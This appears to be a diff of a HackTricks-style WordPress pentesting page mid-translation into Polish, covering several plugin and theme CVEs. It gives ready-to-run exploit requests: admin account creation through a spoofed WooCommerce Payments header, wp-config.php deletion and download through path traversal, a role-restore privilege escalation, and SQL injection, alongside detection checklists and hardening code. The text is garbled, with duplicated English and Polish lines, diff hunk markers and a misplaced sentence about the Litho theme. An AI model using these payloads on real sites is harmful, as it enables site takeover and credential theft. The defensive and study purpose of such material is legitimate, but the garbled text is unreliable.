2. **CSRF nonce** weryfikowane za pomocą `check_ajax_referer()` / `wp_verify_nonce()`, oraz
3. **Ścisłą sanitację / walidację wejścia**.
- Skutek: eskalacja uprawnień bez uwierzytelnienia do administratora poprzez utworzenie nowego konta administratora za pomocą podstawowej trasy REST users.
- Przykładowy nagłówek: `X-Wcpay-Platform-Checkout-User: 1` (wymusza ID użytkownika 1, zwykle pierwsze konto administratora).
- Wykorzystywana trasa: `POST /wp-json/wp/v2/users` z tablicą zawierającą rolę o podwyższonych uprawnieniach.
Motyw wielofunkcyjny Litho (< 3.1) zapomniał o tych 3 kontrolach w funkcji *Usuń rodzinę czcionek* i ostatecznie dostarczył następujący kod (uproszczony):
PoC
```http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
```
Dlaczego to działa
- Wtyczka mapuje nagłówek kontrolowany przez klienta na stan uwierzytelnienia i pomija sprawdzenia uprawnień.
- Rdzeń WordPress oczekuje uprawnienia `create_users` dla tej ścieżki; wtyczka omija to poprzez bezpośrednie ustawienie kontekstu bieżącego użytkownika z nagłówka.
Oczekiwane wskaźniki sukcesu
- HTTP 201 z ciałem JSON opisującym utworzonego użytkownika.
- Nowe konto administratora widoczne w `wp-admin/users.php`.
Lista kontrolna wykrywania
- Przeszukaj (grep) `getallheaders()`, `$_SERVER['HTTP_...']`, lub vendor SDKs które odczytują niestandardowe nagłówki, aby ustawić kontekst użytkownika (np. `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Przejrzyj rejestracje REST pod kątem uprzywilejowanych callbacków, które nie mają solidnych sprawdzeń `permission_callback` i zamiast tego polegają na nagłówkach żądania.
- Szukaj użyć funkcji zarządzania użytkownikami rdzenia (`wp_insert_user`, `wp_create_user`) wewnątrz handlerów REST, które są zabezpieczone jedynie wartościami nagłówków.
Wzmocnienie
- Nigdy nie wyprowadzaj uwierzytelnienia ani autoryzacji z nagłówków kontrolowanych przez klienta.
- Jeśli reverse proxy musi wstrzyknąć tożsamość, zakończ zaufanie przy proxy i usuń przychodzące kopie (np. `unset X-Wcpay-Platform-Checkout-User` na krawędzi), następnie przekaż podpisany token i zweryfikuj go po stronie serwera.
- Dla REST routes wykonujących uprzywilejowane akcje wymagaj sprawdzeń `current_user_can()` i rygorystycznego `permission_callback` (NIE używaj `__return_true`).
- Preferuj autentykację pierwszej strony (cookies, application passwords, OAuth) zamiast nagłówkowego „podszywania się”.
Referencje: zobacz linki na końcu tej strony dotyczące publicznego przypadku i szerszej analizy.
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
3. **Strict input sanitisation / validation**.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -398,31 +443,31 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
Problemy wprowadzone przez ten fragment:
Issues introduced by this snippet:
* **Nieautoryzowany dostęp** zarejestrowano hak `wp_ajax_nopriv_`.
* **Brak sprawdzenia nonce / uprawnień** każdy odwiedzający może uzyskać dostęp do punktu końcowego.
* **Brak sanitizacji ścieżki** ciąg `fontfamily` kontrolowany przez użytkownika jest łączony z ścieżką systemu plików bez filtrowania, co pozwala na klasyczne przejście `../../`.
* **Unauthenticated access** the `wp_ajax_nopriv_` hook is registered.
* **No nonce / capability check** any visitor can hit the endpoint.
* **No path sanitisation** the usercontrolled `fontfamily` string is concatenated to a filesystem path without filtering, allowing classic `../../` traversal.
#### Wykorzystanie
Atakujący może usunąć dowolny plik lub katalog **poniżej katalogu głównego przesyłania** (zwykle `<wp-root>/wp-content/uploads/`) wysyłając pojedyncze żądanie HTTP POST:
Atakujący może usunąć dowolny plik lub katalog **poniżej katalogu bazowego uploads** (normally `<wp-root>/wp-content/uploads/`) by sending a single HTTP POST request:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Ponieważ `wp-config.php` znajduje się poza *uploads*, cztery sekwencje `../` są wystarczające w domyślnej instalacji. Usunięcie `wp-config.php` zmusza WordPress do *kreatora instalacji* przy następnej wizycie, co umożliwia pełne przejęcie witryny (atakujący jedynie podaje nową konfigurację DB i tworzy użytkownika administratora).
Ponieważ `wp-config.php` znajduje się poza *uploads*, cztery sekwencje `../` wystarczą na domyślnej instalacji. Usunięcie `wp-config.php` zmusza WordPress do uruchomienia *kreatora instalacji* przy następnej wizycie, umożliwiając całkowite przejęcie strony (atakujący jedynie dostarcza nową konfigurację bazy danych i tworzy konto administratora).
Inne istotne cele to pliki `.php` wtyczek/motywów (aby złamać wtyczki zabezpieczające) lub reguły `.htaccess`.
Inne istotne cele to pliki `.php` wtyczek/motywów (aby uszkodzić wtyczki zabezpieczające) lub reguły `.htaccess`.
#### Lista kontrolna wykrywania
* Każdy `add_action( 'wp_ajax_nopriv_...')` callback, który wywołuje pomocniki systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
* Konkatenacja niesanitowanych danych wejściowych użytkownika w ścieżkach (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
* Każdy callback `add_action( 'wp_ajax_nopriv_...')` który wywołuje helpery systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
* Łączenie niesanitizowanych danych wejściowych użytkownika w ścieżkach (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
* Brak `check_ajax_referer()` oraz `current_user_can()`/`is_user_logged_in()`.
#### Wzmacnianie
#### Wzmocnienie
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
@ -443,15 +488,15 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
```
> [!TIP]
> **Zawsze** traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i podwójnie sprawdź:
> • Uwierzytelnienie • Autoryzacja • Nonce • Sanityzacja wejścia • Ograniczenie ścieżki (np. za pomocą `realpath()` oraz `str_starts_with()`).
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
### Eskalacja uprawnień poprzez przywracanie przestarzałych ról i brak autoryzacji (ASE "Wyświetl administratora jako rolę")
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Wiele wtyczek implementuje funkcję "wyświetl jako rola" lub tymczasowego przełączania ról, zapisując oryginalną rolę(-y) w metadanych użytkownika, aby mogły być przywrócone później. Jeśli ścieżka przywracania polega tylko na parametrach żądania (np. `$_REQUEST['reset-for']`) oraz liście zarządzanej przez wtyczkę bez sprawdzania uprawnień i ważnego nonce, prowadzi to do pionowej eskalacji uprawnień.
Wiele wtyczek implementuje funkcję "view as role" lub tymczasowej zmiany roli, zapisując oryginalne role w user meta, aby można je było później przywrócić. Jeśli ścieżka przywracania opiera się tylko na parametrach żądania (np. `$_REQUEST['reset-for']`) i liście utrzymywanej przez wtyczkę bez sprawdzenia capabilities i ważnego nonce, staje się to vertical privilege escalation.
Przykład z rzeczywistego świata znaleziono w wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź resetu przywracała role na podstawie `reset-for=<username>`, jeśli nazwa użytkownika pojawiła się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie przeprowadzała ani sprawdzenia `current_user_can()`, ani weryfikacji nonce przed usunięciem bieżących ról i ponownym dodaniem zapisanych ról z metadanych użytkownika `_asenha_view_admin_as_original_roles`:
Przykład z rzeczywistego świata znaleziono we wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź reset przywracała role na podstawie `reset-for=<username>` jeśli nazwa użytkownika pojawiła się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie wykonywała ani sprawdzenia `current_user_can()` ani weryfikacji nonce przed usunięciem obecnych ról i ponownym dodaniem zapisanych ról z user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -466,19 +511,19 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Dlaczego jest to podatne na atak
Dlaczego to jest podatne na atak
- Ufa `$_REQUEST['reset-for']` i opcji wtyczki bez autoryzacji po stronie serwera.
- Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został obniżony, może je przywrócić, klikając ścieżkę resetowania.
- W niektórych wdrożeniach każdy uwierzytelniony użytkownik mógłby wywołać reset dla innej nazwy użytkownika, która nadal jest obecna w `viewing_admin_as_role_are` (uszkodzona autoryzacja).
- Polega na zaufaniu do `$_REQUEST['reset-for']` i opcji pluginu bez autoryzacji po stronie serwera.
- Jeśli użytkownik miał wcześniej wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został zdegradowany, może je przywrócić, odwiedzając ścieżkę resetu.
- W niektórych wdrożeniach każdy uwierzytelniony użytkownik mógł spowodować reset dla innej nazwy użytkownika nadal obecnej w `viewing_admin_as_role_are` (błędna autoryzacja).
Wymagania wstępne ataku
- Wersja wtyczki podatna na atak z włączoną funkcją.
- Docelowe konto ma przestarzałą rolę o wysokich uprawnieniach zapisaną w metadanych użytkownika z wcześniejszego użycia.
- Jakakolwiek uwierzytelniona sesja; brak nonce/zdolności w procesie resetowania.
- Wrażliwa wersja pluginu z włączoną funkcją.
- Docelowe konto ma przestarzałą rolę o wysokich uprawnieniach zapisaną w user meta z wcześniejszego użycia.
- Dowolna uwierzytelniona sesja; brak nonce/capability w przebiegu resetu.
Eksploatacja (przykład)
Wykorzystanie (przykład)
```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
@ -486,61 +531,76 @@ Eksploatacja (przykład)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Na podatnych wersjach to usuwa bieżące role i ponownie dodaje zapisane oryginalne role (np. `administrator`), skutecznie eskalując uprawnienia.
Na podatnych buildach usuwa to bieżące role i ponownie dodaje zapisane „oryginalne role” (np. `administrator`), skutecznie eskalując uprawnienia.
Lista kontrolna wykrywania
Detection checklist
- Szukaj funkcji przełączania ról, które utrzymują „oryginalne role” w meta użytkownika (np. `_asenha_view_admin_as_original_roles`).
- Szukaj funkcji przełączania ról, które przechowują „oryginalne role” w meta użytkownika (np. `_asenha_view_admin_as_original_roles`).
- Zidentyfikuj ścieżki resetowania/przywracania, które:
- Odczytują nazwy użytkowników z `$_REQUEST` / `$_GET` / `$_POST`.
- Modyfikują role za pomocą `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
- Autoryzują na podstawie tablicy opcji wtyczki (np. `viewing_admin_as_role_are`) zamiast możliwości aktora.
- Odczytują nazwy użytkowników z `$_REQUEST` / `$_GET` / `$_POST`.
- Modyfikują role za pomocą `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
- Autoryzują na podstawie tablicy opcji pluginu (np. `viewing_admin_as_role_are`) zamiast na podstawie uprawnień aktora.
Wzmacnianie
Hardening
- Wymuszaj kontrole uprawnień na każdej gałęzi zmieniającej stan (np. `current_user_can('manage_options')` lub surowsze).
- Wymagaj nonce dla wszystkich mutacji ról/uprawnień i weryfikuj je: `check_admin_referer()` / `wp_verify_nonce()`.
- Nigdy nie ufaj nazwom użytkowników dostarczonym w żądaniu; rozwiązuj docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego aktora i wyraźnej polityki.
- Unieważnij stan „oryginalnych ról” przy aktualizacjach profilu/roli, aby uniknąć przestarzałego przywracania wysokich uprawnień:
- Wymuś sprawdzenia uprawnień przy każdym odgałęzieniu zmieniającym stan (np. `current_user_can('manage_options')` lub bardziej restrykcyjne).
- Wymagaj nonces dla wszystkich zmian ról/uprawnień i weryfikuj je: `check_admin_referer()` / `wp_verify_nonce()`.
- Nigdy nie ufaj nazwom użytkowników dostarczanym w żądaniu; rozstrzygaj docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego aktora i jawnej polityki.
- Unieważniaj stan „oryginalnych ról” przy aktualizacjach profilu/ról, aby uniknąć przywrócenia przestarzałych uprzywilejowań:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Rozważ przechowywanie minimalnego stanu i używanie tokenów z ograniczonym czasem ważności oraz zabezpieczonych uprawnień do tymczasowych przełączeń ról.
- Rozważ przechowywanie minimalnego stanu i używanie ograniczonych czasowo, zabezpieczonych uprawnieniami tokenów do tymczasowych przełączeń ról.
---
## Ochrona WordPressa
### Uwagi dotyczące WAF dla WordPress/plugin CVEs
Ogólne WAFy edge/server są dostrojone do wykrywania szerokich wzorców (SQLi, XSS, LFI). Wiele podatności o dużym wpływie w WordPress/plugin to błędy logiki lub autoryzacji specyficzne dla aplikacji, które wyglądają jak nieszkodliwy ruch, jeśli silnik nie rozumie ścieżek WordPress i semantyki pluginów.
Offensive notes
- Celuj w endpointy specyficzne dla pluginów, używając czystych payloadów: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Najpierw sprawdź ścieżki nieautoryzowane (AJAX `nopriv`, REST z permisywnym `permission_callback`, public shortcodes). Domyślne payloady często działają bez obfuskacji.
- Typowe przypadki o dużym wpływie: eskalacja uprawnień (broken access control), dowolne przesyłanie/pobieranie plików, LFI, open redirect.
Defensive notes
- Nie polegaj na ogólnych sygnaturach WAF, aby chronić przed plugin CVEs. Wdróż wirtualne poprawki na warstwie aplikacji, specyficzne dla danej podatności, albo szybko aktualizuj.
- Preferuj kontrole positive-security w kodzie (capabilities, nonces, ścisła walidacja wejścia) zamiast negatywnych filtrów regex.
## Ochrona WordPress
### Regularne aktualizacje
Upewnij się, że WordPress, wtyczki i motywy są aktualne. Potwierdź również, że automatyczne aktualizacje są włączone w wp-config.php:
Upewnij się, że WordPress, wtyczki i motywy są aktualne. Potwierdź także, że automatyczne aktualizacje są włączone w wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Również, **instaluj tylko zaufane wtyczki i motywy WordPress**.
Ponadto, **instaluj tylko zaufane wtyczki i motywy WordPress**.
### Wtyczki zabezpieczające
### Wtyczki bezpieczeństwa
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **Inne rekomendacje**
### **Inne zalecenia**
- Usuń domyślnego użytkownika **admin**
- Używaj **silnych haseł** i **2FA**
- Okresowo **przeglądaj** uprawnienia użytkowników
- **Ogranicz próby logowania**, aby zapobiec atakom Brute Force
- Okresowo **przeglądaj** **uprawnienia** użytkowników
- Ogranicz **liczbę prób logowania**, aby zapobiec atakom Brute Force
- Zmień nazwę pliku **`wp-admin.php`** i zezwól na dostęp tylko wewnętrznie lub z określonych adresów IP.
### Nieautoryzowana injekcja SQL przez niewystarczającą walidację (WP Job Portal <= 2.3.2)
### SQL Injection bez uwierzytelnienia z powodu niewystarczającej walidacji (WP Job Portal <= 2.3.2)
Wtyczka rekrutacyjna WP Job Portal ujawniała zadanie **savecategory**, które ostatecznie wykonuje następujący podatny kod wewnątrz `modules/category/model.php::validateFormData()`:
Wtyczka rekrutacyjna WP Job Portal ujawniała zadanie **savecategory**, które ostatecznie wykonuje następujący podatny kod w `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -552,17 +612,17 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
```
Problemy wprowadzone przez ten fragment:
1. **Nieprzetworzony input od użytkownika** `parentid` pochodzi bezpośrednio z żądania HTTP.
2. **Konkatenacja stringów w klauzuli WHERE** brak `is_numeric()` / `esc_sql()` / przygotowanej instrukcji.
3. **Nieautoryzowany dostęp** chociaż akcja jest wykonywana przez `admin-post.php`, jedynym sprawdzeniem jest **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać z publicznej strony osadzającej shortcode `[wpjobportal_my_resumes]`.
1. **Nieprzefiltrowane dane wejściowe** `parentid` pochodzi bezpośrednio z żądania HTTP.
2. **Konkatenacja łańcuchów w klauzuli WHERE** brak `is_numeric()` / `esc_sql()` / prepared statement.
3. **Możliwość wywołania bez uwierzytelnienia** chociaż akcja jest wykonywana przez `admin-post.php`, jedyną weryfikacją jest **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać ze strony publicznej osadzającej shortcode `[wpjobportal_my_resumes]`.
#### Wykorzystanie
#### Eksploatacja
1. Pobierz świeży nonce:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. Wstrzyknij dowolne SQL, nadużywając `parentid`:
2. Wstrzyknij dowolne SQL przez nadużycie `parentid`:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@ -570,20 +630,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
Odpowiedź ujawnia wynik wstrzykniętego zapytania lub zmienia bazę danych, co dowodzi SQLi.
Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, potwierdzając SQLi.
### Nieautoryzowane pobieranie dowolnych plików / Przechodzenie przez ścieżki (WP Job Portal <= 2.3.2)
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Inne zadanie, **downloadcustomfile**, pozwalało odwiedzającym na pobieranie **dowolnego pliku na dysku** poprzez przechodzenie przez ścieżki. Wrażliwy punkt znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`:
Kolejne zadanie, **downloadcustomfile**, pozwalało odwiedzającym pobrać **dowolny plik z dysku** poprzez path traversal. Wrażliwy sink znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` jest kontrolowany przez atakującego i łączony **bez sanitizacji**. Ponownie, jedyną bramą jest **CSRF nonce**, który można pobrać z strony resume.
`$file_name` jest kontrolowany przez atakującego i konkatenowany **bez sanitacji**. Ponownie, jedyną barierą jest **CSRF nonce**, który można pobrać ze strony z CV.
#### Exploitation
#### Eksploatacja
```bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
@ -592,13 +652,16 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
Serwer odpowiada zawartością `wp-config.php`, ujawniając dane uwierzytelniające DB i klucze autoryzacyjne.
Serwer zwraca zawartość `wp-config.php`, leaking DB credentials and auth keys.
## Odniesienia
## Referencje
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
- [ASE 7.6.3 changeset delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
- [WooCommerce Payments ≤ 5.6.1 Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privileged-escalation-vulnerability)
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
{{#include ../../banners/hacktricks-training.md}}